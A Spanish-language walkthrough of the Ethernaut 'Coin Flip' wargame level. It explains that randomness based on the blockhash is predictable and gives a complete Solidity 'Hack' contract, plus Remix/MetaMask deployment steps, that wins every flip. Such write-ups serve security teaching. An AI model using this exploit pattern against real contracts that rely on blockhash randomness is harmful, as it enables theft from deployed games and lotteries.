Ethernaut Nivel 3: Coin Flip
Published: 2023-01-14 22:11:40

# Level 3: Coin Flip

Este es el nivel 3 del juego [Ethernaut](https://ethernaut.openzeppelin.com/).

## Requisitos previos
- [Blocks](https://ethereum.org/en/developers/docs/blocks/) en la cadena de bloques de Ethereum
- Solidity -  interactuar con un contrato desplegado en una dirección. Lee  [this](https://solidity-by-example.org/interface/) o mejor mira [this](https://www.youtube.com/watch?v=YWtT0MNHYhQ)

## Atajos

Contrato dado:

```solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract CoinFlip {

  uint256 public consecutiveWins;
  uint256 lastHash;
  uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;

  constructor() {
    consecutiveWins = 0;
  }

  function flip(bool _guess) public returns (bool) {
    uint256 blockValue = uint256(blockhash(block.number - 1));

    if (lastHash == blockValue) {
      revert();
    }

    lastHash = blockValue;
    uint256 coinFlip = blockValue / FACTOR;
    bool side = coinFlip == 1 ? true : false;

    if (side == _guess) {
      consecutiveWins++;
      return true;
    } else {
      consecutiveWins = 0;
      return false;
    }
  }
}
```

Básicamente, necesitamos predecir el resultado del lanzamiento de la moneda correctamente 10 veces seguidas para ganar.

El contrato dado intenta simular el lanzamiento de una moneda al azar generando `true` o `false` usando el número de bloque de la red (Ropsten en nuestro caso). ¡Pero esto no es realmente aleatorio! Puede consultar muy fácilmente la red para ver el número de bloque actual.

Resulta que la generación de números aleatorios es una de las trampas graves de las cadenas de bloques debido a su naturaleza determinista. Es por eso que existen servicios dedicados para este propósito como [Chainlink VRF](https://blog.chain.link/random-number-generation-solidity/).

Dado que se puede acceder fácilmente a este número de bloque, también podemos generar el resultado del lanzamiento de una moneda y alimentar este resultado a la function `flip`  para tener una suposición e incremento correctos `consecutiveWins`. Podemos hacer esto porque el tiempo de bloqueo de la red será lo suficientemente largo para que `block.number` no cambie entre las llamadas a funciones.

Escribiremos un contrato de solidity en(Remix IDE) con casi el mismo código inicial, agregando al codigo la clase `contract Hack{}` y modificamos algunas funciones, veamos:

```solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract  Hack {
    CoinFlip private immutable target;
    uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;

    constructor(address _target) {
        target = CoinFlip(_target); 
    }

    function flip() external {
        bool guess = _guess();
        require(target.flip(guess), "guess failed");
    }

    function _guess() private view returns(bool) {
        uint256 blockValue = uint256(blockhash(block.number - 1));
        uint256 coinFlip = blockValue / FACTOR;
        bool side = coinFlip == 1 ? true : false;
        return side;
    }
}


contract CoinFlip {

  uint256 public consecutiveWins;
  uint256 lastHash;
  uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;

  constructor() {
    consecutiveWins = 0;
  }

  function flip(bool _guess) public returns (bool) {
    uint256 blockValue = uint256(blockhash(block.number - 1));

    if (lastHash == blockValue) {
      revert();
    }

    lastHash = blockValue;
    uint256 coinFlip = blockValue / FACTOR;
    bool side = coinFlip == 1 ? true : false;

    if (side == _guess) {
      consecutiveWins++;
      return true;
    } else {
      consecutiveWins = 0;
      return false;
    }
  }
}
```

para esta modificación ingresamos a [remix IDE](https://remix.ethereum.org/)en la carpeta `contracts` creamos el archivo `CoinFlip.sol` y escribimos el codigo anterior.

Regresa a openzeppelin en el nivel - `CoinFlip` solicita una instancia, cuando tenga la instancia desde la consola del navegador debera copiarla.

Nuevamente en [remix IDE](https://remix.ethereum.org/) en el archivo `CoinFlip.sol`, busca `deploy` ubicado en la parte lateral izquierda, y en `ENVIRONMENT`, selecciona `Injected Provider`, acepta la solicitud de `MetaMask`

Ahora, en la opción `CONTRACT (Compiled by Remix)` selección la clase hack, pega la instancia en `Deploy - address _target`y clic en Deploy, y luego la misma instancia la pegamos en `At Address` y clickeamos.

Finalmente revisamos `Deployed Contracts` donde estara visible `Hack` y `CoinFlip`.

en `CoinFlip` presionamos el boton `consecutiveWins`, y en `Hack` clic en flip alternativamente y aceptamos desde MetaMask, aparecera el número 1,2... 11, cuando llege a 11, hemos terminado, enviamos la evidencia desde `openzeppelin`